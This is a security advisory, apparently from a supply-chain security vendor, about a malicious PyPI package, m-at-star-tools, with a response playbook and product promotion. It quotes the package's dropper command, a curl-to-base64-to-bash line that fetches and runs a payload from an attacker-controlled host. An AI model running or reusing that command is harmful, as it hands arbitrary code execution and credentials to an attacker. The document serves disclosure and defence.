M-AT-STAR-ToolsPyPI
Malicious code in m-at-star-tools (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's sole console_script m0scan (m0scan/main.py:6-7) executes curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (mspy.qzz.io) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls mspy.qzz.io/M0scan controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author M-AT-STAR, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.
The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-05-m-at-star-tools
Reasons (based on the campaign):
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Downloads and executes a remote malicious script.
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obfuscation
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for M-AT-STAR-Tools (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging M-AT-STAR-Tools across your stack and pipelines.
If you installed it — respond
M-AT-STAR-Tools is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If M-AT-STAR-Tools was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks M-AT-STAR-Tools before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks M-AT-STAR-Tools-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.